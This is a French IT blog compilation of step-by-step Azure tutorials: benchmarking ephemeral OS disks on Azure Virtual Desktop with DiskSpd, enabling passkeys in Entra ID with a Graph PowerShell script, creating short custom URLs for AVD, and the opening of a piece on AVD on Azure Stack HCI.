Enfin, Microsoft a mis à disposition la FAQ suivante sur Microsoft Learn.

Pour vous faire une meilleure idée, je vous propose de réaliser ensemble un petit exercice sur Azure Virtual Desktop combiné à plusieurs types de disque :

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice sur les disques éphémères intégrés à un Azure Virtual Desktop, il vous faudra disposer de :

  • Un tenant Microsoft
  • Une souscription Azure valide

Etape I – Préparation de l’environnement AVD :

Avant de pouvoir déployer un environnement Azure Virtual Desktop, nous avons besoin de créer un réseau virtuel Azure. Pour cela, rendez-vous dans le portail Azure, puis commencez sa création :

Nommez votre réseau virtuel, puis cliquez sur Vérifier:

Une fois la validation Azure réussie, lancez la création du réseau virtuel, puis attendez environ 1 minute :

Cliquez-ici pour accéder à votre réseau virtuel :

Dans le menu suivant, cliquez ici pour déployer Azure Bastion :

Continuez avec le déploiement de l’environnement Azure Virtual Desktop en utilisant la barre de recherche du portail Azure :

Cliquez-ici pour commencer la création du pool d’hôtes Azure Virtual Desktop :

Choisissez le type Partagé pour l’environnement AVD, puis cliquez sur Suivant :

Choisissez une image OS sous Windows 11 :

Sélectionnez la taille de VM suivante ainsi que le disque OS en Premium SSD :

Note : comme vous pouvez le voir, il n’est pas possible depuis l’interface actuelle d’AVD d’y spécifier un disque OS éphémère.

Joignez votre VM à Microsoft Entra ID, puis cliquez sur Suivant :

Créez un espace de travail AVD, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création des ressources puis attendez environ 10 minutes :

Une fois le déploiement d’Azure Virtual Desktop terminé, cliquez-ici :

Activez l’option de SSO dans les propriétés RDP, puis cliquez sur Sauvegarder :

Cliquez sur le nombre de machines AVD hôtes :

Cliquez sur le premier hôte AVD :

Cliquez sur la machine virtuelle AVD correspondante :

Vérifiez la présence d’un disque OS managé Premium SSD, puis cliquez-dessus :

Vérifiez les caractéristiques du disque :

Notre environnement Azure Virtual Desktop est maintenant en place. Nous devons maintenant rajouter 2 machines virtuelles supplémentaires pour comparer les performances des disques :

  • Création d’une VM AVD avec un disque éphémère cache
  • Création d’une VM AVD avec un disque éphémère temporaire

Commençons par la machine virtuelle dont le disque OS sera sur le cache.

Etape II – Création d’une VM AVD avec un disque éphémère CACHE :

Recherchez le services des machines virtuelles, puis cliquez ici pour en créer une nouvelle :

Renseignez les informations de votre seconde machine virtuelle en choisissant une image OS sous Windows 11 :

Choisissez une machine virtuelle de type D8ds_v3 :

Définissez un compte administrateur local, puis cliquez sur Suivant :

Activez l’option de placement du disque OS sur le cache, puis cliquez sur Suivant :

Retirez l’adresse IP publique, puis cliquez sur Suivant :

Retirer l’extinction automatique, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la machine virtuelle :

Environ 4 minutes plus tard, la machine virtuelle est créée :

Connectez-vous à cette dernière via le service Azure Bastion :

Sur la machine virtuelle, ouvrez Microsoft Edge sur la page suivante pour installer les 2 agents AVD :

Téléchargez les 2 agents AVD sur votre machine virtuelle :

Lancez en premier l’installation de l’Azure Virtual Desktop Agent, puis cliquez sur Suivant :

Cochez la case, puis cliquez sur Suivant :

Sur le portail Azure, retournez sur votre pool d’hôtes AVD afin d’y récupérer la clef d’enregistrement :

Collez cette clef ici, puis cliquez sur Suivant :

Cliquez sur Installer :

Attendez que l’installation se termine :

Cliquez sur Terminer :

Lancez en second l’installation de l’Azure Virtual Desktop Agent Bootloader, puis cliquez sur Suivant :

Cochez la case, puis cliquez sur Suivant :

Attendez que l’installation se termine :

Cliquez sur Terminer :

Retournez sur le portail Azure afin de constater l’apparition d’une nouvelle machine dans votre pool d’hôtes AVD :

Pendant que le statut de celle-ci est sur Mis à jour, constatez l’installation de 2 autres agents supplémentaires sur votre nouvelle VM AVD :

Quelques secondes plus tard, le statut de votre nouvelle VM AVD passe en indisponible :

Activez par cette option la mise en place d’une identité managée :

Dans le menu des extensions, cliquez-ici pour en ajouter une nouvelle :

Choisissez l’extension suivante pour joindre votre VM à Entra ID, puis cliquez sur Suivant :

Lancez la validation Azure :

Lancez l’installation de votre extension sur votre seconde VM :

Attendez 2 minutes la fin de l’installation de l’extension :

Vérifiez sur Entra ID l’apparition de votre seconde machine virtuelle :

Vérifiez également la jointure à Entra ID depuis la session Bastion et grâce à la commande suivante :

dsregcmd /status

Quelques secondes plus tard, le statut de votre seconde VM passe en disponible :

Continuons avec la création de la troisième VM dont le disque OS sera sur la partition temporaire.

Etape III – Création d’une VM AVD avec un disque éphémère TEMPORAIRE :

Recherchez le services des machines virtuelles, puis cliquez ici pour en créer une nouvelle :

Renseignez les informations de votre troisième machine virtuelle en choisissant une image OS sous Windows 11 :

Choisissez une machine virtuelle de type D8ds_v5 :

Définissez un compte administrateur local, puis cliquez sur Suivant :

Activez l’option de placement du disque OS sur le temporaire, puis cliquez sur Suivant :

Retirez l’adresse IP publique, puis cliquez sur Suivant :

Retirer l’extinction automatique, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la machine virtuelle :

Environ 4 minutes plus tard, la machine virtuelle est créée :

Connectez-vous à cette dernière via le service Azure Bastion :

Sur la machine virtuelle, ouvrez Microsoft Edge sur la page suivante pour installer les 2 agents AVD :

Téléchargez les 2 agents AVD sur votre machine virtuelle :

Lancez en premier l’installation de l’Azure Virtual Desktop Agent, puis cliquez sur Suivant :

Cochez la case, puis cliquez sur Suivant :

Sur le portail Azure, retournez sur votre pool d’hôtes AVD afin d’y récupérer la clef d’enregistrement :

Collez cette clef ici, puis cliquez sur Suivant :

Cliquez sur Installer :

Attendez que l’installation se termine :

Cliquez sur Terminer

Lancez en second l’installation de l’Azure Virtual Desktop Agent Bootloader, puis cliquez sur Suivant :

Cochez la case, puis cliquez sur Suivant :

Attendez que l’installation se termine :

Cliquez sur Terminer :

Retournez sur le portail Azure afin de constater l’apparition d’une nouvelle machine dans votre pool d’hôtes AVD :

Pendant que le statut de celle-ci est sur Mis à jour, constatez l’installation de 2 autres agents supplémentaires sur votre nouvelle VM AVD :

Quelques secondes plus tard, le statut de votre nouvelle VM AVD passe en indisponible :

Activez par cette option la mise en place d’une identité managée :

Dans le menu des extensions, cliquez-ici pour en ajouter une nouvelle :

Choisissez l’extension suivante pour joindre votre VM à Entra ID, puis cliquez sur Suivant :

Lancez la validation Azure :

Lancez l’installation de votre extension sur votre troisième VM :

Attendez 2 minutes la fin de l’installation de l’extension :

Vérifiez sur Entra ID l’apparition de votre troisième machine virtuelle :

Quelques secondes plus tard, le statut de votre troisième VM passe en disponible :

Nos 3 machines virtuelles sont maintenant opérationnelles. Pourtant nous ne voyons qu’un seul disque en tant que ressource Azure :

Pourtant le disque OS est bien présent sur la seconde VM :

Le disque OS est également bien présent sur la troisième VM, dont les IOPS sont très très élevés :

Pour nous y connecter avec des utilisateurs AVD, nous devons maintenant rajouter des droits à des utilisateurs de test sur celles-ci.

Etape IV – Connexions aux VMs de l’environnement AVD :

Sur ce même groupe de ressources, ajoutez les deux rôles Azure RBAC suivants pour vos utilisateurs de test :

Ouvrez ensuite le client Remote Desktop puis authentifiez-vous avec 3 utilisateurs différents :

Ouvrez ensuite 3 sessions AVD de telle façon à ce que chacun se retrouve seul sur une VM :

Sur chacune des 3 sessions AVD :

  • Ouvrez le gestionnaire des disques afin de constater les différentes tailles des partitions.
  • Téléchargez l’exécutable DiskSpd via ce lien Microsoft, puis décompressez l’archive ZIP à la racine du disque C.
  • Lancez le moniteur de ressources Windows.
  • Ouvrez une fenêtre PowerShell en mode administrateur, puis exécutez les 2 scripts de tests suivants :
.\diskspd.exe -c50G -d120 -r -w100 -F4 -o128 -b8K -Sh -L C:\diskpsdtmp.dat > IOPS.txt
.\diskspd.exe -c50G -d120 -r -w100 -F4 -o128 -b64K -Sh -L C:\diskpsdtmp.dat > Throughput.txt

Machine virtuelle AVD avec disque OS Premium SSD :

Voici un tableau affichant les informations de la VM D8ds v5 :

Le disque temporaire est bien de 300 Go :

Lancement des 2 scripts diskspd :

Quelques minutes après la fin des traitements diskspd :

Machine virtuelle AVD avec disque OS CACHE :

Voici un tableau affichant les informations de la VM D8s v3 :

Le disque temporaire est bien de 64 Go :

Lancement des 2 scripts diskspd :

Quelques minutes après la fin des traitements diskspd :

Machine virtuelle AVD avec disque OS TEMPORAIRE :

Voici un tableau affichant les informations de la VM D8ds v5 :

Le disque temporaire est bien la soustraction de 300 Go – 128 Go, soit environ 172 Go :

Lancement des 2 scripts diskspd :

Quelques minutes après la fin des traitements diskspd :

Voyons ensemble les différentes de performances des 3 machines virtuelles AVD.

Etape V – Synthèse des résultats :

Pour plus de clarté, j’ai synthétisé tous mes résultats IOPS dans le tableau ci-dessous :

j’ai également synthétisé tous mes résultats Throughput dans le tableau ci-dessous :

Conclusion

Il n’y a rien à dire, l’écart de performances entre ces 3 types de disque est très impressionnant ! Et cet écart se creuse encore plus si on change la taille de la machine virtuelle TEMP en D16ds v5 :

De plus, j’ai utilisé le Calculateur Azure afin de comparer les prix des 3 types de disque selon les performances relevées plus haut :

Enfin, Microsoft nous rappelle certaines contraintes liées à l’utilisation de disque OS éphémères :

  • Un redimensionnement de la machine virtuelle avec un disque éphémère fera perdre toute la donnée modifiée :
  • Il n’est pas possible de désallouer les ressources machines quand un disque éphémère est utilisé :
  • Il n’est pas possible de sauvegarder une machine virtuelle quand un disque OS éphémère est utilisé :

En somme, ces points ne devraient pas être des blocages pour des environnements Azure Virtual Desktop dans la mesure où ces derniers, généralement, ne stockent pas d’informations utilisateurs et sont constitués à partir d’une golden image 😎🙏.

Configurez votre Passkey sur Entra ID

Microsoft vient d’annoncer il y a quelques heures l’extension de la prise en charge des clés de sécurité dans Microsoft Entra ID via l’application Microsoft Authenticator sur iOS et Android. C’est le moment de mettre un coup d’arrêt aux attaques de types Adversary-in-the-Middle (AitM) ! 💪🔌

Pourquoi utiliser une méthode d’authentification renforcée ?

Microsoft n’est pas le seul à le dire, tous les grands acteurs recommandent des méthodes d’authentification sans mot de passe. Elles apportent expérience de connexion plus sécurisée :

Microsoft propose juste ici une comparaison claire concernant les différentes méthodes les plus répendues :

Méthode d’authentificationSécuritéUsageDisponibilité
Windows Hello EntrepriseÉlevéÉlevéÉlevé
Microsoft AuthenticatorÉlevéÉlevéÉlevé
Authenticator LiteÉlevéÉlevéÉlevé
Clè d’accès (FIDO2)ÉlevéÉlevéÉlevé
Authentification par certificatÉlevéÉlevéÉlevé
Jetons matériels OATH (version préliminaire)MoyenneMoyenneÉlevé
Jetons logiciels OATHMoyenneMoyenneÉlevé
Passe d’accès temporaire (TAP)MoyenneÉlevéÉlevé
SMSMoyenneÉlevéMoyenne
VoixMoyenneMoyenneMoyenne
Mot de passeFaibleÉlevéÉlevé

Voici d’autres liens très utiles sur le sujet :

Qu’est-ce que les passkeys ?

Une passkey est une méthode qui permet aux utilisateurs d’accéder à des systèmes ou des services sans utiliser les mots de passe traditionnels. En général, elle repose sur des méthodes de déverrouillage d’appareils familières telles que la biométrie (comme les empreintes digitales ou la reconnaissance faciale) ou les codes PIN pour vérifier l’identité des utilisateurs.

Voici justement une courte vidéo en français expliquant les passkeys :

Merci à Merill Fernando pour cette illustration qui montre le processus d’ouverture de session sur votre iPhone ou Android :

Quelles sont les différences entre les passkeys et les clefs FIDO ?

Un premier article avait déjà été écrit sur les clefs FIDO, dont voici le lien. Mais l’excellent article de BIO-key explique les différences de façon assez claire, dont voici une traduction en français :

Sécurité :

  • Résistance aux attaques : Les passkeys reposent sur des méthodes de déverrouillage d’appareils et sont vulnérables aux attaques ciblant les mesures de sécurité de l’appareil (comme le spoofing biométrique ou le devinage de PIN) ou les techniques d’ingénierie sociale. En revanche, les clés de sécurité utilisent des méthodes cryptographiques robustes et offrent une protection supérieure contre une large gamme d’attaques à distance, y compris le phishing, l’homme du milieu et le bourrage d’identifiants.
  • Stockage et gestion des clés : Les passkeys stockent généralement les clés sur l’appareil de l’utilisateur, ce qui peut les rendre vulnérables à un accès non autorisé. Les clés de sécurité stockent quant à elles les clés cryptographiques dans le jeton matériel lui-même, réduisant ainsi le risque de compromission des clés.

Facilité d’utilisation :

  • Expérience utilisateur : Les passkeys offrent une expérience plus conviviale, car elles utilisent des méthodes de déverrouillage d’appareils familières telles que la biométrie ou les PIN. En revanche, les clés de sécurité peuvent nécessiter des étapes supplémentaires ou la possession physique, ce qui peut affecter leur facilité d’utilisation.
  • Formation et intégration : Évaluez la facilité de former les utilisateurs à l’utilisation efficace des passkeys ou des clés de sécurité. Les passkeys peuvent avoir une courbe d’apprentissage plus courte, tandis que les clés de sécurité peuvent nécessiter plus de guidage et d’éducation.

Commodité :

  • Dépendance à l’appareil : Les passkeys reposent sur l’appareil de l’utilisateur pour l’authentification, ce qui les rend plus pratiques pour les utilisateurs qui changent fréquemment d’appareil. En revanche, les clés de sécurité, en tant que jetons physiques, nécessitent que les utilisateurs les portent pour l’authentification, ce qui peut être moins pratique pour certains individus.
  • Perte ou oubli des identifiants : Évaluez l’impact de la perte ou de l’oubli des passkeys ou des clés de sécurité sur l’accès des utilisateurs. Les passkeys peuvent offrir des options de récupération plus faciles, tandis que les clés de sécurité peuvent nécessiter des étapes supplémentaires ou une intervention administrative.

Scalabilité :

  • Déploiement et gestion : Évaluez la facilité de déploiement et de gestion des passkeys ou des clés de sécurité auprès d’une population d’utilisateurs diversifiée. Tenez compte de facteurs tels que la provision, la révocation et les capacités de gestion centralisée.
  • Considérations financières : Évaluez les implications financières de la mise en œuvre des passkeys ou des clés de sécurité à grande échelle. Tenez compte de facteurs tels que les coûts initiaux, la maintenance continue et les besoins éventuels de remplacement des appareils.

Compatibilité :

  • Normes et support : Les passkeys et les clés de sécurité doivent être conformes à des normes largement adoptées telles que FIDO2 (Fast Identity Online) pour assurer la compatibilité avec diverses plateformes et services.
  • Intégration des applications : Évaluez la compatibilité des passkeys ou des clés de sécurité avec les applications et systèmes cibles. Tenez compte de facteurs tels que les API disponibles, les SDK et le niveau d’effort d’intégration requis.
Blog BIO-Key

Pour vous faire une meilleure idée, je vous propose de réaliser ensemble un petit exercice sur la mise en place d’une passkey sur un utilisateur d’un tenant Azure :

Etape 0 – Rappel des prérequis :

Pour réaliser ces tests de passkey sur votre tenant Microsoft, il vous faudra disposer de :

  • Un tenant Microsoft 😎

Voici une vue de la page des informations de sécurité de l’utilisateur avant l’activation de la fonctionnalité Passkey :

Il n’est pour l’instant pas possible de lui ajouter une passkey, bien que le tenant soit déjà correctement configuré pour les clefs FIDO :

Avant de pouvoir ajouter une passkey sur un utilisateur de test, il est nécessaire d’activer cette fonctionnalité (encore en préversion) via le portail Entra ID.

Etape I – Configuration passkey du tenant :

Pour cela, rendez-vous sur la page de Microsoft Entra ID par ce lien, rendez-vous dans le menu suivant, puis cliquez sur la rubrique FIDO2 :

Sur le second onglet, configurer ou reconfigurer les options comme ceci :

Comme il est nécessaire d’ajouter des AAGUID spécifiques (Apple / Android) aux passkeys, il est important de reprendre également ceux utilisés pour les clefs FIDO (Un grand merci à Nathan McNulty pour le script !)

Pour cela, commencez par installer le module Graph :

Install-Module Microsoft.Graph

Connectez-vous à votre tenant via le module Graph en utilisant un compte ayant les permissions nécessaires :

Connect-MgGraph -Scope AuditLog.Read.All,UserAuthenticationMethod.Read.All

Listez tous les AAGUID des clés FIDO2 enregistrées pour tous vos utilisateurs via la commande suivante :

((Get-MgReportAuthenticationMethodUserRegistrationDetail -Filter "methodsRegistered/any(i:i eq 'passKeyDeviceBound')" -All).Id | ForEach-Object { Get-MgUserAuthenticationFido2Method -UserId $_ -All }).AaGuid | Select-Object -Unique

Copiez les valeurs AAGUID dans la configuration, puis ajoutez les deux AAGUID correspondants respectivement aux Microsoft Authenticator pour Android / Apple

de1e552d-db1d-4423-a619-566b625cdc84
90a3ccdf-635c-4729-a248-9b709135078f

Cela donne la vue suivant, puis cliquez sur Sauvegarder :

Notre tenant est maintenant correctement configuré. Il faudrait attendre environ 5 à 10 minutes afin que l’utilisateur puisse retrouvez la nouvelle option.

Etape II – Configuration passkey de l’utilisateur :

Avant cela, pensez à activer le Bluetooth sur votre ordinateur :

Retournez sur la page des informations de sécurité de l’utilisateur, puis cliquez-ici pour ajouter une passkey :

Choisissez Passkey, puis cliquez sur Suivant :

Avant confirmez votre identité par un premier challenge MFA :

Une fois le challenge MFA réussi, cliquez sur Suivant :

Lisez la consigne, puis cliquez sur Suivant :

Choisissez la marque correspondante à votre téléphone :

Lisez la consigne, puis cliquez sur Continuer :

Lisez la consigne, puis cliquez sur Suivant :

Lisez le message, puis cliquez sur Je comprends :

Cliquez sur Suivant :

Choisissez l’option ci-dessous, puis cliquez sur Suivant :

Ouvrez l’appareil photo de votre téléphone, afin de scanner le QR Code dédié à la passkey :

Cliquez sur Pas maintenant :

Attendez quelques secondes que la connexion s’établisse :

Le message de succès de connexion apparaît alors sur votre ordinateur :

Sur votre téléphone, cliquez sur Enregistrer autrement :

Choisissez Microsoft Authenticator :

Cliquez sur Créer :

Cliquez sur Utiliser une fois :

Votre ordinateur vous confirme la bonne sauvegarde de la clef sur votre téléphone, cliquez sur OK :

Nommez votre nouvelle passkey :

Celle-ci fait maintenant partie de vos méthodes de connexion :

Notre environnement de test est maintenant en place ! Il ne nous reste plus qu’à tester la connexion en utilisant la passkey.

Etape III – Création d’une méthode d’authentification renforcée :

Par la suite, la mise en place d’une méthode d’une méthode d’authentification renforcée est une bonne pratique pour obliger l’utilisateur a utiliser cette nouvelle méthode MFA résistante à l’hameçonnage.

Rendez-vous sur le portail Entra ID pour y créer cette nouvelle méthode renforcée.

Cliquez sur Méthodes d’authentification renforcées pour en ajouter une nouvelle, puis cliquez sur Suivant :

Cliquer sur sur Créer :

Créer une nouvelle police d’accès conditionnel :

Saisissez un nom à votre police et sélectionnez votre utilisateur de test :

Ajoutez la ou les applications :

Terminez la configuration en autorisant l’accès sous réserve de satisfaire votre nouvelle méthode d’authentification renforcée :

Attendez quelques minutes avant de pouvoir tester les changement.

Etape IV – Test passkey sans mémorisation du téléphone :

Pour cela, ouvrez un navigateur internet en mode privé, rendez-vous sur la page portal.azure.com, puis cliquez sur le bouton proposant plusieurs options d’authentification :

Choisissez la méthode d’authentification au moyen d’un périphérique :

Choisissez l’option ci-dessous, puis cliquez sur Suivant :

Ouvrez l’appareil photo de votre téléphone, afin de scanner le QR Code dédié à la passkey :

Attendez quelques secondes que la connexion s’établisse :

Le message de succès de connexion apparaît alors sur votre ordinateur :

Cliquez sur Pas maintenant :

Choisissez la passkey enregistrée précédemment dans votre Microsoft Autenticator :

Confirmez votre identité par un moyen biométrique, puis attendez quelques secondes.

Le message suivant vous confirme alors le succès de l’authentification sur Office 365 :

Afin de gagner du temps et d’éviter d’utiliser l’appareil photo de votre téléphone, il est possible de mémoriser le téléphone sur votre ordinateur de confiance.

Etape V – Test passkey avec mémorisation du téléphone :

Pour cela, réouvrez un navigateur internet en mode privé, rendez-vous sur la page portal.azure.com, puis cliquez sur le bouton proposant plusieurs options d’authentification :

Choisissez la méthode d’authentification au moyen d’un périphérique :

Choisissez l’option ci-dessous, puis cliquez sur Suivant :

Ouvrez l’appareil photo de votre téléphone, afin de scanner le QR Code dédié à la passkey :

Attendez quelques secondes que la connexion s’établisse :

Le message de succès de connexion apparaît alors sur votre ordinateur :

Cliquez cette fois sur OK :

Cliquez sur Créer pour enregistrer la même clef sur Samsung Pass :

Confirmez votre identité par un moyen biométrique, puis attendez quelques secondes. Le message suivant vous confirme alors le succès de l’authentification sur Office 365 :

Afin de vérifier le changement, réouvrez un navigateur internet en mode privé, rendez-vous sur la page office.com, puis cliquez-ici :

Cliquez sur le bouton proposant plusieurs options d’authentification :

Choisissez la méthode d’authentification au moyen d’un périphérique :

Choisissez le téléphone mémorisé précédement :

Attendez quelques secondes l’envoi de la notification à votre téléphone :

Choisissez la passkey enregistrée précédemment dans votre Microsoft Autenticator :

Confirmez votre identité par un moyen biométrique, puis attendez quelques secondes.

Le message suivant vous confirme alors le succès de l’authentification sur Office 365 :

Etape VI – Suppression d’une Passkey :

Enfin, il est possible de supprimer une passkey sur un utilisateur. L’utilisateur peut le faire lui-même via sa propre page de sécurité :

Ou par le biais d’un administrateur via le portail Entra ID :

Dans les deux cas, l’utilisateur devra toujours retirer la passkey stockée sur son application Authenticator de son smartphone.

Si l’utilisateur ne dispose pas encore de passkey sur son compte et tente d’accéder à une ressource protégée par un accès conditionnel, le message suivant devrait apparaître :

Il devrait malgré tout pouvoir ajouter sa passkey par cette page https://aka.ms/mysecurityinfo :

Conclusion

La mise en place de méthodes renforcées d’authentification pour les identités Cloud est une excellente chose pour la sécurité. Cette démarche doit par la suite être compagné d’un renforcement des accès conditionnels afin que créer une couche de protection supplémentaire 💪

Changez l’URL de votre AVD

Vous la souhaitez plus longue ou plus courte votre URL d’accès à Azure Virtual Desktop ? C’est à vous de choisir ! Mettez en place une URL raccourcie pour accéder à la page d’authentification AVD, vos utilisateurs vous remercieront ! Sinon, il y aussi l’URL AKA.MS d’Azure Virtual Desktop 😎🤘

En parcourant le blog de George Markou, je suis tombé sur le billet suivant : Utiliser un nom de domaine mémorable avec Azure Virtual Desktop.

Aucun doute que cette fonctionnalité pourra être très utile car plusieurs longues URLs Microsoft sont actuellement disponibles pour accéder aux services HTML5 d’Azure Virtual Desktop ou Windows 365:

Mais comment faire pour ajouter une URL de redirection depuis un nom de domaine personnalisé ?

On peut utiliser des sites comme Long URL Maker 🤣, ou faire comme moi en suivant le conseil de George Markou disponible juste ici. Cela donnera alors des URLs courtes pour AVD comme par exemple :

J’ai donc décidé de tester 2 méthodes différentes dans cet article :

Etape 0 – Rappel des prérequis :

Pour réaliser ces tests sur la personnalisation de l’URL d’Azure Virtual Desktop, il vous faudra disposer de :

  • Un tenant Microsoft
  • Une souscription Azure valide
  • Un nom de domaine

Commençons par la première méthode basée sur une Static Web App.

Méthode IUtilisation d’une Static Web App :

Avec ce service, vous pouvez rapidement et facilement déployer un site web statique qui redirige vers un autre site web, dans notre cas il s’agirait du client HTML5 Azure Virtual Desktop. En général, Azure Static Web Apps est un service qui construit et déploie automatiquement des applications web complètes sur Azure à partir d’un dépôt de code.

George Markou

Un rapide tour dans le calculateur Azure nous montre l’avantage principal d’une Static Web App : son prix :

Disponible en version gratuite, cette Static Web App devrait correspondre à la majorité des scénarios de redirection Azure Virtual Desktop.

Le schéma ci-dessous nous montre le fonctionnement de redirection de notre Static Web App :

Vous l’aurez probablement compris, nous allons utiliser un peu de code pour effectuer cette direction.

Pour cela, commencez par créer votre compte GitHub si cela n’est pas déjà fait :

Une fois votre compte GitHub créé, rendez-vous sur le répertoire de George via ce lien afin de cloner son répertoire template vers votre compte GitHub :

Nommez ce nouveau répertoire selon vos souhaits, puis cliquer sur Créer :

Attendez quelques secondes que le traitement de copie se termine :

Retournez sur la page du portail Azure afin de recherche le service Static Web App :

Créez votre Static Web App en cliquant ici :

Renseignez les informations de base, dont le nom de votre Static Web App :

Choisissez la source GitHub, authentifiez-vous avec votre compte, choisissez le répertoire nouvellement importé, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de la ressource :

Environ 1 minute plus tard, cliquez-ici pour consulter votre Static Web App :

Un dossier workflow est maintenant présent sur votre GitHub :

Cliquez sur l’URL suivante pour éditer le workflow :

Cliquez sur le bouton suivant pour éditer le fichier yaml présent sur votre GitHub :

Modifiez la ligne 31 comme ceci :

Avant :

app_location: "/" # App source code path

Après :

app_location: "/src" # App source code path

Cliquez sur Commit changes :

Indiquez si besoin une description, puis cliquez sur Commit changes :

Après quelques secondes, une action GitHub sera déclenchée, poussant le code vers la Static Web App nouvellement créée.

Retournez sur votre Static Web App afin de lui ajouter votre nom de domaine personnalisé :

Saisissez le nom de votre domaine ou sous-domaine, puis cliquez sur Suivant :

Sélectionnez le type CNAME, puis copiez la valeur de celle-ci dans votre presse-papier :

Sur la page de gestion de votre nom de domaine personnalisé, créez un nouvel enregistrement de type CNAME avec comme valeur celle copiée :

Confirmez votre création d’enregistrement DNS :

Attendez quelques secondes l’actualisation de vos enregistrements DNS :

Retournez sur le portail Azure afin de cliquer sur Ajouter :

Attendez quelques secondes qu’Azure confirme la présence de votre enregistrement DNS pointant vers le CNAME indiqué :

Une fois le domaine validé, cliquez sur Fermer :

Dans la liste des domaines personnalisés, vérifiez la présence de votre nouvel ajout :

Quelques minutes plus tard, ouvrez un nouvel onglet dans votre navigateur vers l’URL configurée :

Constatez apparition rapide du message de transfert suivant :

Constatez le changement d’URL :

Une fois les services AVD accessibles, cliquez sur l’un d’eux :

Attendez quelques secondes l’établissement de la connexion :

Attendez quelques secondes l’ouverture de la session :

L’URL personnalisée pour Azure Virtual Desktop fonctionne sans souci avec une Static Web App.

Il ne nous reste qu’à tester la même chose avec Azure Front Door.

Méthode IIUtilisation d’Azure Front Door :

Un second tour dans le calculateur Azure nous montre le coût Azure Front Door :

Bien évidemment cela s’explique par la multitude de fonctionnalités disponibles sur Azure Front Door :

Le tableau suivant fournit une comparaison entre 2 SKUs Azure Front Door :

Fonctionnalités et optimisationsFront Door StandardFront Door Premium
Livraison et accélération
Remise de fichiers statiquesOuiOui
Livraison de site dynamiqueOuiOui
Domaines et certificats
Domaines personnalisésOui – Validation de domaine basée sur un enregistrement TXT DNSOui – Validation de domaine basée sur un enregistrement TXT DNS
Prise en charge de HTTPSOuiOui
HTTPS sur un domaine personnaliséOuiOui
Apportez votre propre certificatOuiOui
Versions prises en charge de TLSTLS1.2, TLS1.0TLS1.2, TLS1.0
Mise en cache
Mise en cache des chaînes de requêteOuiOui
Gestion du cache (vidage, règles et compression)OuiOui
Purge rapideNoNon
Préchargement de ressourcesNoNon
Paramètres de comportement du curseurOui à l’aide du moteur de règles standardOui à l’aide du moteur de règles standard
Routage
Équilibrage de charge d’origineOuiOui
Routage basé sur le cheminOuiOui
Moteur de règlesOuiOui
Variable de serveurOuiOui
Expression régulière dans le moteur de règlesOuiOui
Redirection/Réécriture d’URLOuiOui
Double pile IPv4/IPv6OuiOui
Assistance HTTP/2OuiOui
Préférence de routage non mesuréeNon requis car le transfert de données de l’origine Azure vers l’AFD est gratuit et le chemin est directement connectéNon requis car le transfert de données de l’origine Azure vers l’AFD est gratuit et le chemin est directement connecté
Port de l’origineTous les ports TCPTous les ports TCP
Moteur de distribution de contenu personnalisable et basé sur des règlesOuiOui
Règles pour appareils mobilesOuiOui
Sécurité
Règles personnalisées du pare-feu d’applications webOuiOui
Ensemble de règles managées MicrosoftNonOui
Protection des botsNonOui
Connexion de liaison privée à l’origineNonOui
GéofiltrageOuiOui
Jeton d’authentificationNoNon
Protection DDOSOuiOui
Analytique et création de rapports
Surveillance MétriquesOui (plus de métriques que Classic)Oui (plus de métriques que Classic)
Analyses avancées/rapports intégrésOuiOui – comprend le rapport WAF
Journaux bruts – journaux d’accès et journaux WAFOuiOui
Journal des sondes d’intégritéOuiOui
Simplicité d’utilisation
Intégration facile avec les services Azure, tels que le stockage et les applications WebOuiOui
Gestion via REST API, .NET, Node.js ou PowerShellOuiOui
Types MIME de compressionConfigurableConfigurable
Encodages de compressiongzip, brotligzip, brotli
Intégration d’Azure PolicyNoNon
Intégration des conseils AzureOuiOui
Identités managées avec Azure Key VaultOuiOui
Tarification
Tarification simplifiéeOuiOui

Dans mon cas, j’utilise déjà un service Azure Front pour mon blog, lui-même hébergé sur une Wep app Azure.

Une fois Azure Front Door en place, rendez-vous dans le menu suivant :

Ajoutez la règle de configuration suivante :

Attendez environ une minute la fin de la création, puis associez à votre règle la route via le menu suivant :

Choisissez une route, puis cliquez sur Suivant :

Modifiez au besoin l’ordre d’exécution des règles, puis cliquez sur Associer :

Attendez environ une minute la fin de l’association :

Retournez dans le menu suivant afin d’ajouter le domaine ou sous-domaine dédié à votre URL Azure Virtual Desktop :

Auprès de votre fournisseur de nom de domaine, ajoutez les 3 enregistrements DNS suivants :

  • A
  • AAAA
  • TXT

Quelques minutes plus tard, ouvrez un nouvel onglet dans votre navigateur vers l’URL configurée :

Constatez le changement d’URL :

Une fois les services AVD accessibles, cliquez sur l’un d’eux :

Attendez quelques secondes l’ouverture de la session :

L’URL personnalisée pour Azure Virtual Desktop fonctionne là aussi sans souci avec Azure Front Door.

Conclusion

Quelle que soit la méthode choisie pour la personnalisation de votre URL Azure Virtual Desktop, celles-ci sont simple et facile à mettre en oeuvre et facilitera la vie de vos utilisateurs 🥳

Azure Virtual Desktop sur Azure Stack HCI

Bonne nouvelle ! Azure Stack HCI 23H2 est maintenant disponible en GA. La 23H2 simplifie grandement la configuration et le déploiement des clusters HCI. Autre bonne nouvelle, AVD est aussi en GA sur Azure Stack HCI ! Si tester Azure Virtual Desktop via une solution cloud hybride et sans acheter quoi que ce soit vous intéresse, cet article est fait pour vous !

Un premier article avait déjà été écrit sur ce blog à propos d’Azure Stack HCI. La solution proposée par Microsoft vous permet de disposer d’une infrastructure hyperconvergée basée sur les technologies Azure :

Peut-on tester Azure Stack HCI sans investir dans du matériel physique ?

La réponse est oui grâce à Azure Arc Jumpstart ! Vous pouvez recréer un cluster Azure Stack HCI directement dans Azure. L’article précédemment écrit proposait la même approche, mais Jumpstart simplifie grandement le processus.

Qu’est-ce qu’Azure Arc Jumpstart ?

Il s’agit de solutions de type bac à sable proposées par Microsoft :

L’univers de l’Arc Jumpstart. Vous souhaitez explorer plusieurs environnements et découvrir toute l’étendue de Jumpstart ? Obtenez des scénarios automatisés de zéro à héros pour les serveurs compatibles avec Arc, Kubernetes compatible avec Arc, et plus encore. Parcourez les scénarios. Explorez des scénarios du cloud à la périphérie conçus pour répondre à des besoins sectoriels spécifiques.

Azure Arc Jumpstart

Comme le montre la page suivante, beaucoup de scénarios y sont proposés :

Mais qu’est-ce qu’HCIBox ?

En quelques mots : il vous permet d’essayer Azure Stack HCI directement dans Azure :

